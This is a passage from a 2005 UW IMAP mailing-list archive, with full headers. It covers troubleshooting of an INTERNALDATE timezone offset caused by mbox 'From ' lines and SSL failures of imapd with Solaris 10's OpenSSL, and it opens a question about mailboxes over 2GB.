GMT if not for the bogus offset. We admittedly are running imap2002e and will upgrade immediately if someone tells us this is a bug that has been fixed. The only other point of interest is that we use qmail/procmail as the delivery agent. Any help is appreciated. -- cut here -- 00 select inbox * 1 EXISTS * 1 RECENT * OK [UIDVALIDITY 1125071880] UID validity status * OK [UIDNEXT 2] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags * OK [UNSEEN 1] first unseen message in /var/mail/joleary 00 OK [READ-WRITE] SELECT completed uid fetch 1 (uid flags rfc822.header) * 1 FETCH (UID 1 FLAGS (\Recent) RFC822.HEADER {922} Return-Path: Delivered-To: joleary@icarus.cc.uic.edu Received: (qmail 10982 invoked from network); 26 Aug 2005 10:56:46 -0500 Received: from webmail-1.cc.uic.edu (HELO webmail-1.priv.cc.uic.edu) (128.248.155.180) by icarus.cc.uic.edu with SMTP; 26 Aug 2005 10:56:46 -0500 Received: from jimo.uic.edu (jimo.cc.uic.edu [128.248.5.52]) (authenticated bits=0) by webmail-1.priv.cc.uic.edu (8.12.10/8.12.10) with ESMTP id j7QFujvK008493 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Fri, 26 Aug 2005 10:56:45 -0500 Message-Id: <6.2.3.0.2.20050826105620.03811528@mailserv.uic.edu> X-Mailer: QUALCOMM Windows Eudora Version 6.2.3.0 Date: Fri, 26 Aug 2005 10:56:45 -0500 To: joleary@icarus.cc.uic.edu From: "Jim O'Leary" Subject: test Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed ) uid OK FETCH completed 00 uid fetch 1 (flags internaldate) * 1 FETCH (UID 1 FLAGS (\Recent) INTERNALDATE "26-Aug-2005 15:56:46 -0500") 00 OK UID FETCH completed Jim O'Leary University of Illinois at Chicago Academic Computing and Communications Center (312) 996-4643 www.accc.uic.edu _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 26 10:57:38 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Aug 2005 10:57:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7QHvbDF027292 for ; Fri, 26 Aug 2005 10:57:37 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QHvafi009805 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 26 Aug 2005 10:57:37 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QHvJgQ032115; Fri, 26 Aug 2005 10:57:19 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QHvIkJ032107 for ; Fri, 26 Aug 2005 10:57:18 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QHvI71018900 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 26 Aug 2005 10:57:18 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QHvH6d012118 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 26 Aug 2005 10:57:17 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7QHvFoW000789 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 26 Aug 2005 10:57:16 -0700 Date: Fri, 26 Aug 2005 10:57:15 -0700 (PDT) From: Mark Crispin To: "Jim O'Leary" Subject: Re: [Imap-uw] help with INTERNALDATE weirdness? In-Reply-To: <6.2.3.0.2.20050826120742.03780a90@mailserv.uic.edu> Message-ID: References: <6.2.3.0.2.20050826120742.03780a90@mailserv.uic.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu What mailbox format are you using? One very obvious way that this problem could be caused is if your system uses traditional UNIX mailbox format with a delivery program that writes a "From " header in UTC without a timezone, e.g., From fred Fri Aug 26 15:56:46 2005 Since the timezone is missing, UW imapd's parsing code assumes that the time is in the local timezone. On every UNIX system that I've seen so far, that assumption would be correct. Are you delivering directly from procmail? Or, is procmail calling some program such as /bin/mail, /bin/mail.local, etc. for final delivery? There are three ways that you can get around it. The first is to replace the delivery program with a program (such as the UW IMAP toolkit's tmail or dmail) that writes POSIX-style dates that include a timezone, e.g., From fred Fri Aug 26 10:56:46 2005 -0500 Although this is what I would recommend, a problem with doing this is that there are some ancient UNIX programs which choke on POSIX-style dates. Alternatively, you can change the traditional UNIX mailbox format's default handling of timezone by editing imap-????/src/osdep/unix/unix.c to change the string "LCL" to be "GMT" in the statement: /* zzz */ t = zn ? (t + zn + 1) : (unsigned char *) "LCL"; Finally, you can look into why your delivery program is writing UTC date/time in the From without a timestamp, and get it to either write the date/time in local time or to write a POSIX-style date with a timestamp. One last thing... Since you mentioned qmail; if you use maildir format with a third-party maildir driver in UW imapd, then this is probably a bug in that driver. I can't say for sure what's wrong (I don't pretend to support maildir), but the following may help: You need to find out how it determines the internaldate. If it sets the internaldate from the file mtime, make sure that it does something like: struct tm *tm = gmtime (&sbuf.st_mtime); elt->day = tm->tm_mday; elt->month = tm->tm_mon + 1; elt->year = tm->tm_year + 1900 - BASEYEAR; elt->hours = tm->tm_hour; elt->minutes = tm->tm_min; elt->seconds = tm->tm_sec; elt->zhours = 0; elt->zminutes = 0; The setting of zhours and zminutes to zero makes it be UTC. If the maildir driver uses localtime(), make sure that it calculates the timezone offset using a delta from the gmtime() value and *NOT* the timezone values in the returned struct tm. Look at phile.c to see how this is done. The reason that you have to do this is that localtime() depends upon environment that isn't always completely set up for daemons; thus you can get localtime() returning a struct tm with the correct timezone offset but the time being UTC! Calculating the delta with gmtime() avoids this. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 26 12:03:42 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Aug 2005 12:03:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7QJ3gUv031111 for ; Fri, 26 Aug 2005 12:03:42 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QJ3fW5013679 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 26 Aug 2005 12:03:41 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QJ3OWd007268; Fri, 26 Aug 2005 12:03:24 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QJ3MNe007260 for ; Fri, 26 Aug 2005 12:03:22 -0700 Received: from webmail-1.priv.cc.uic.edu (webmail-1.cc.uic.edu [128.248.155.180]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QJ3Ktr024487 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 26 Aug 2005 12:03:20 -0700 Received: from jimo.uic.edu (jimo.cc.uic.edu [128.248.5.52]) (authenticated bits=0) by webmail-1.priv.cc.uic.edu (8.12.10/8.12.10) with ESMTP id j7QJ3GvK009857 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 26 Aug 2005 14:03:17 -0500 Message-Id: <6.2.3.0.2.20050826135932.03c163e0@mailserv.uic.edu> X-Mailer: QUALCOMM Windows Eudora Version 6.2.3.0 Date: Fri, 26 Aug 2005 14:03:16 -0500 To: Mark Crispin From: "Jim O'Leary" Subject: Re: [Imap-uw] help with INTERNALDATE weirdness? In-Reply-To: References: <6.2.3.0.2.20050826120742.03780a90@mailserv.uic.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__ANY_QUALCOMM_MUA 0, __C230066_P5 0, __CT 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu At 12:57 PM 8/26/2005, Mark Crispin wrote: >What mailbox format are you using? mbx >One very obvious way that this problem could be caused is if your >system uses traditional UNIX mailbox format with a delivery program >that writes a "From " header in UTC without a timezone, e.g., > From fred Fri Aug 26 15:56:46 2005 You called it Mark. That is the case! >Since the timezone is missing, UW imapd's parsing code assumes that >the time is in the local timezone. On every UNIX system that I've >seen so far, that assumption would be correct. > >Are you delivering directly from procmail? Or, is procmail calling >some program such as /bin/mail, /bin/mail.local, etc. for final delivery? qmail hands it off to procmail-3.10, which does the final mbox delivery. This makes me wonder why I can't find any other references to such a problem. >There are three ways that you can get around it. > >The first is to replace the delivery program with a program (such as >the UW IMAP toolkit's tmail or dmail) that writes POSIX-style dates >that include a timezone, e.g., > From fred Fri Aug 26 10:56:46 2005 -0500 > >Although this is what I would recommend, a problem with doing this >is that there are some ancient UNIX programs which choke on POSIX-style dates. > >Alternatively, you can change the traditional UNIX mailbox format's >default handling of timezone by editing >imap-????/src/osdep/unix/unix.c to change the string "LCL" to be >"GMT" in the statement: > /* zzz */ > t = zn ? (t + zn + 1) : (unsigned char *) "LCL"; > >Finally, you can look into why your delivery program is writing UTC >date/time in the From without a timestamp, and get it to either >write the date/time in local time or to write a POSIX-style date >with a timestamp. Thanks for the choices and the fast response. We'll discuss these and make a choice. >One last thing... > >Since you mentioned qmail; if you use maildir format with a >third-party maildir driver in UW imapd, then this is probably a bug >in that driver. I can't say for sure what's wrong (I don't pretend >to support maildir), but the following may help: no maildir but thanks again for taking the time to spell it all out so quickly. >You need to find out how it determines the internaldate. If it sets >the internaldate from the file mtime, make sure that it does something like: > struct tm *tm = gmtime (&sbuf.st_mtime); > elt->day = tm->tm_mday; elt->month = tm->tm_mon + 1; > elt->year = tm->tm_year + 1900 - BASEYEAR; > elt->hours = tm->tm_hour; elt->minutes = tm->tm_min; > elt->seconds = tm->tm_sec; > elt->zhours = 0; elt->zminutes = 0; > >The setting of zhours and zminutes to zero makes it be UTC. > >If the maildir driver uses localtime(), make sure that it calculates >the timezone offset using a delta from the gmtime() value and *NOT* >the timezone values in the returned struct tm. Look at phile.c to >see how this is done. > >The reason that you have to do this is that localtime() depends upon >environment that isn't always completely set up for daemons; thus >you can get localtime() returning a struct tm with the correct >timezone offset but the time being UTC! Calculating the delta with >gmtime() avoids this. > >-- Mark -- > >http://panda.com/mrc >Democracy is two wolves and a sheep deciding what to eat for lunch. >Liberty is a well-armed sheep contesting the vote. Jim O'Leary University of Illinois at Chicago Academic Computing and Communications Center (312) 996-4643 www.accc.uic.edu _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Aug 30 03:12:46 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Aug 2005 03:12:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7UACk0H008815 for ; Tue, 30 Aug 2005 03:12:46 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7UAChMB000691 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 30 Aug 2005 03:12:44 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UACRbE000466; Tue, 30 Aug 2005 03:12:27 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UACQ4H000458 for ; Tue, 30 Aug 2005 03:12:26 -0700 Received: from paegas.mail-atlas.net (paegas.mail-atlas.net [212.47.13.199]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UACOrq006835 for ; Tue, 30 Aug 2005 03:12:25 -0700 Received: from jahoda ([212.47.13.137]) by paegas.mail-atlas.net; Tue, 30 Aug 2005 12:12:20 +0200 From: "Jozef Rujak" To: "Mark Crispin" Message-ID: Date: Tue, 30 Aug 2005 12:12:20 +0200 X-Priority: 3 (Normal) Subject: Re: Re: [Imap-uw] Imapd-2004e and Solaris 10 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, IP_HTTP_ADDR 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Yes, problem was in openssl 0=2E9=2E7d which comes with Solaris 10=2E After compiling new openssl 0=2E9=2E8 , imapd works fine=2E Thanks, Jozef > > >On Wed, 17 Aug 2005, Jozef Rujak wrote: >> sh -c '(strings /lib/libc=2Ea | grep getpassphrase > /dev/null) && l= n -s os_soln=2Eh os_sol=2Eh || ln -s os_solo=2Eh os_sol=2Eh' >> /lib/libc=2Ea: No such file or directory > >Don't worry about this=2E It is just a check to see whether the C lib= rary >has the getpassphrase() call, and if so that is used when building >mailutil instead of getpass()=2E > >> Aug 17 11:54:13 nstest imapd[1778]: [ID 298158 mail=2Edebug] imaps S= SL service init from 193=2E87=2E248=2E75 >> Aug 17 11:54:13 nstest imapd[1778]: [ID 149382 mail=2Einfo] Unable t= o accept SSL connection, host=3Ddodi=2Eintas=2Esk [193=2E87=2E248=2E75] >> Aug 17 11:54:13 nstest imapd[1778]: [ID 853321 mail=2Eerror] SSL err= or status: error:1409D08A:SSL routines:SSL3_SETUP_KEY_BLOCK:cipher or h= ash unavailable >> Aug 17 11:54:30 nstest imapd[1779]: [ID 298158 mail=2Edebug] imaps S= SL service init from 193=2E87=2E248=2E75 >> Aug 17 11:54:42 nstest imapd[1779]: [ID 149382 mail=2Einfo] Unable t= o accept SSL connection, host=3Ddodi=2Eintas=2Esk [193=2E87=2E248=2E75] >> Aug 17 11:54:42 nstest imapd[1779]: [ID 853321 mail=2Eerror] SSL err= or status: error:140D308A:SSL routines:TLS1_SETUP_KEY_BLOCK:cipher or h= ash unavailable > >This is the problem that you need to look into=2E It's a problem with= in >OpenSSL=2E It may have been built incorrectly=2E > >-- Mark -- > >http://staff=2Ewashington=2Eedu/mrc >Science does not emerge from voting, party politics, or public debate=2E >Si vis pacem, para bellum=2E Aktivujte si aj vy schranku s neobmedzenou kapacitou na ATLAS.SK. http://mail.atlas.sk _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Aug 30 08:31:59 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Aug 2005 08:31:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7UFVxO6026929 for ; Tue, 30 Aug 2005 08:31:59 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UFVwCH016835 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 30 Aug 2005 08:31:58 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UFVhwD006450; Tue, 30 Aug 2005 08:31:43 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UFVfdw006442 for ; Tue, 30 Aug 2005 08:31:41 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UFVeXn002002 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 30 Aug 2005 08:31:41 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UFVdg1029619 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 30 Aug 2005 08:31:40 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7UFVcVs001098 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 30 Aug 2005 08:31:39 -0700 Date: Tue, 30 Aug 2005 08:31:37 -0700 (PDT) From: Mark Crispin To: Jozef Rujak Subject: Re: Re: [Imap-uw] Imapd-2004e and Solaris 10 In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thank you for the update. I'm surprised to hear this, since I've build imap-2004e with OpenSSL 0.9.7d numerous times and did not encounter this problem. My guess is that it isn't a problem with that OpenSSL version, but rather with how it was built in Solaris 10; perhaps it was pre-built in some non-standard way. When you upgraded to OpenSSL 0.9.8, you built it in the standard way. On Tue, 30 Aug 2005, Jozef Rujak wrote: > Yes, problem was in openssl 0.9.7d which comes with > Solaris 10. > After compiling new openssl 0.9.8 , imapd works fine. >> >> On Wed, 17 Aug 2005, Jozef Rujak wrote: >>> sh -c '(strings /lib/libc.a | grep getpassphrase > /dev/null) && ln -s os_soln.h os_sol.h || ln -s os_solo.h os_sol.h' >>> /lib/libc.a: No such file or directory >> >> Don't worry about this. It is just a check to see whether the C library >> has the getpassphrase() call, and if so that is used when building >> mailutil instead of getpass(). >> >>> Aug 17 11:54:13 nstest imapd[1778]: [ID 298158 mail.debug] imaps SSL service init from 193.87.248.75 >>> Aug 17 11:54:13 nstest imapd[1778]: [ID 149382 mail.info] Unable to accept SSL connection, host=dodi.intas.sk [193.87.248.75] >>> Aug 17 11:54:13 nstest imapd[1778]: [ID 853321 mail.error] SSL error status: error:1409D08A:SSL routines:SSL3_SETUP_KEY_BLOCK:cipher or hash unavailable >>> Aug 17 11:54:30 nstest imapd[1779]: [ID 298158 mail.debug] imaps SSL service init from 193.87.248.75 >>> Aug 17 11:54:42 nstest imapd[1779]: [ID 149382 mail.info] Unable to accept SSL connection, host=dodi.intas.sk [193.87.248.75] >>> Aug 17 11:54:42 nstest imapd[1779]: [ID 853321 mail.error] SSL error status: error:140D308A:SSL routines:TLS1_SETUP_KEY_BLOCK:cipher or hash unavailable >> >> This is the problem that you need to look into. It's a problem within >> OpenSSL. It may have been built incorrectly. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Aug 30 10:56:36 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Aug 2005 10:56:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7UHuaDo003561 for ; Tue, 30 Aug 2005 10:56:36 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UHuZxw025804 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 30 Aug 2005 10:56:35 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UHuSTY025832; Tue, 30 Aug 2005 10:56:28 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UHuRpN025821 for ; Tue, 30 Aug 2005 10:56:27 -0700 Received: from rwcrmhc12.comcast.net (rwcrmhc13.comcast.net [216.148.227.118]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7UHuQGt005647 for ; Tue, 30 Aug 2005 10:56:27 -0700 Received: from mail.distal.com ([69.140.93.10]) by comcast.net (rwcrmhc13) with ESMTP id <2005083017562001500iuhfqe>; Tue, 30 Aug 2005 17:56:25 +0000 Received: from [IPv6:2001:408:1010:20:230:65ff:fe50:82a] (magrathea.distal.com [IPv6:2001:408:1010:20:230:65ff:fe50:82a]) by mail.distal.com (8.13.3/8.13.3) with ESMTP id j7UHtVxN017324; Tue, 30 Aug 2005 13:55:32 -0400 (EDT) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v622) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <15cfe9ea67ae163dccf1b99a2a8dc21c@fullmesh.net> Content-Transfer-Encoding: 7bit From: Chris Ross Subject: Re: [Imap-uw] Imapd-2004e and Solaris 10 Date: Tue, 30 Aug 2005 13:55:44 -0400 To: Mark Crispin X-Mailer: Apple Mail (2.622) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Aug 30, 2005, at 11:31, Mark Crispin wrote: > Thank you for the update. I'm surprised to hear this, since I've > build imap-2004e with OpenSSL 0.9.7d numerous times and did not > encounter this problem. > > My guess is that it isn't a problem with that OpenSSL version, but > rather with how it was built in Solaris 10; perhaps it was pre-built > in some non-standard way. When you upgraded to OpenSSL 0.9.8, you > built it in the standard way. likely true. Sun has a habit of shipping libraries but yet not enough other material to compile/link against the libraries correctly. Could this issue have been caused by a lack of include files or prototypes? I know I've had that problem with solaris many times... - Chris _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 31 13:07:08 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Aug 2005 13:07:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VK78nO020533 for ; Wed, 31 Aug 2005 13:07:08 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VK77tX001017 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Aug 2005 13:07:07 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VK6P2t024862; Wed, 31 Aug 2005 13:06:25 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VK6OvZ024842 for ; Wed, 31 Aug 2005 13:06:24 -0700 Received: from cornwall.invrm.com (adsl-69-214-94-163.dsl.chmpil.ameritech.net [69.214.94.163]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VK6NF5031216 for ; Wed, 31 Aug 2005 13:06:24 -0700 Received: from ccc2003.lokal.parokinet.org (localhost [127.0.0.1]) by cornwall.invrm.com (Postfix) with ESMTP id F0AA11407F for ; Wed, 31 Aug 2005 16:06:22 -0400 (EDT) Received: by ccc2003.lokal.parokinet.org (Postfix, from userid 800) id ABC0F200CC; Wed, 31 Aug 2005 15:06:22 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by ccc2003.lokal.parokinet.org (Postfix) with ESMTP id A9B7D2008A for ; Wed, 31 Aug 2005 15:06:22 -0500 (CDT) Date: Wed, 31 Aug 2005 15:06:22 -0500 (CDT) From: S P Arif Sahari Wibowo To: imap-uw@u.washington.edu Message-ID: X-Archive: encrypt MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] >2GB mailboxes X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi! Well, one mailbox (a sent-mail mailbox) just went over 2GB limit (on linux) and get corrupted. I guess I will try Mark Clements' script to recover it. Any newer scripts? Anyway, this problem will come back again and again in the future. 